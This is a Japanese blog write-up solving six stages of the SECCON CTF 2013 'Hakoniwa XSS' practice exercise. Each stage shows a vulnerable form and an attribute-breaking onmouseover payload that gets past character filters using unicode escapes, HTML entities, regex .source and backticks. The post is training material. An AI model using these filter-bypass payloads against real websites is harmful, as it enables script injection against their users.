sonickun.log

備忘録

SECCON 2013 箱庭XSS | Write-up

 もうすぐSECCONですね!僕も参加する予定ですが、少しでもチームに貢献するためにXSSの練習をしようと、SECCON CTF 2013 横浜地方大会の決勝戦で出された「箱庭XSS」を解いてみました。

 問題の方はCTF for Beginners (過去記事)の時に頂いたものを使わせていただきました。

箱庭XSS

f:id:sonickun:20140709212805p:plain

 こんなかんじで、ただひたすらXSSをするためだけの素敵なソフトです。XSSの練習には持って来いですね。
 Stage 1~6まであり、問題はすべて「『XSS』と書かれたalertボックスを表示させてください。」というもの。
 
 
 

Stage 1

  • 「<」と「>」と「X」と「S」は使えない。

ソース

<html><body>
●問題-1● 「XSS」と書かれたalertボックスを表示させてください。<br>
(ただし、「&lt;」と「&gt;」と「X」と「S」は使えません。)
<form action='http://www.example.jp/' method='get'>
<input type='text' name='p' size='60' value=''>
<input type='submit' value='Send'>
</form>

 「<」と「>」が使えない時はたいていイベントハンドラを使うと良いらしい。

' onmouseover='alert("xss".toUpperCase())

 このXSS送信した後、入力ボックスにマウスを持っていく(onmouseover)とアラートが表示されます。"toUpperCase()"で"xss"を大文字に変換しています。
 
 
 

Stage 2

  • 「<」と「>」と「X」と「S」と「x」は使えない。

ソース

<html><body><!-- Stage-1 Flag: f6d5ff -->
●問題-2● 「XSS」と書かれたalertボックスを表示させてください。<br>
(ただし、「&lt;」と「&gt;」と「X」と「S」と「x」は使えません。)
<form action="http://www.example.jp/" method="get">
<input type="text" name="p" size="60" value="">
<input type="submit" value="Send">
</form>

 更に条件が厳しくなって、小文字のXは使えません。ここではunicodeを使う方法を取ります。"X"が58、"S"が53だから

" onmouseover="alert('\u0058\u0053\u0053')

 これでクリアです。
 
 
 

Stage 3

  • 「<」と「>」と「X」と「S」と「x」と「\」は使えない。

 
ソース

<html><body><!-- Stage-2 Flag: 846d5b -->
●問題-3● 「XSS」と書かれたalertボックスを表示させてください。<br>
(ただし、「&lt;」と「&gt;」と「X」と「S」と「x」と「\」は使えません。)
<form action="http://www.example.jp/" method="get">
<input type="text" name="p" size="60" value="">
<input type="submit" value="Send">
</form>

 先程のASCIIコードでは書けないののですが、16進数を10進数に直すとこんな書き方ができます。

" onmouseover="alert('&#0088;&#0083;&#0083;')



Stage 4

  • 「<」と「>」と「X」と「S」と「x」と「&」は使えない。


ソース

<html><body><!-- Stage-3 Flag: 2bd135 -->
●問題-4● 「XSS」と書かれたalertボックスを表示させてください。<br>
(ただし、「&lt;」と「&gt;」と「X」と「S」と「x」と「&amp;」は使えません。)
<form action="http://www.example.jp/" method="get">
<input type="text" name="p" size="60" value="">
<input type="submit" value="Send">
</form>

 これは、Stage 2とまんま同じ方法で解けました。ラッキー!

 
 

Stage 5

  • 「<」と「>」と「X」と「S」と「x」と「'」は使えない。

 
ソース

<html><body><!-- Stage-4 Flag: 924dd8 -->
●問題-5● 「XSS」と書かれたalertボックスを表示させてください。<br>
(ただし、「&lt;」と「&gt;」と「X」と「S」と「x」と「'」は使えません。)
<form action="http://www.example.jp/" method="get">
<input type="text" name="p" size="60" value="">
<input type="submit" value="Send">
</form>

 これは悩みましたが、ググったら出てきました。

" onmouseover="alert(/&#0088;&#0083;&#0083;/.source)



Stage 6

  • 「<」と「>」と「X」と「S」と「'」と「"」と「&」と「\」は使えない。

 
ソース

<html><body><!-- Stage-5 Flag: 23f074 -->
●問題-6● 「XSS」と書かれたalertボックスを表示させてください。<br>
(ただし、「&lt;」と「&gt;」と「X」と「S」と「'」と「"」と「&amp;」と「\」は使えません。)
<form action="http://www.example.jp/" method="get">
<input type="text" name="p" size="60" value=``>
<input type="submit" value="Send">
</form>

  ぱっと見マジキチの問題に見えますが、これまで使った手法を組み合わせて解けました。ソースを良く見るとvalueはダブルクオートでもシングルクオートでもなく、バッククオートを使って囲っていることが分かります。

` onmouseover=`alert(/xss/.source.toUpperCase())

 
 
 
 やったぜ。
f:id:sonickun:20140709234047p:plain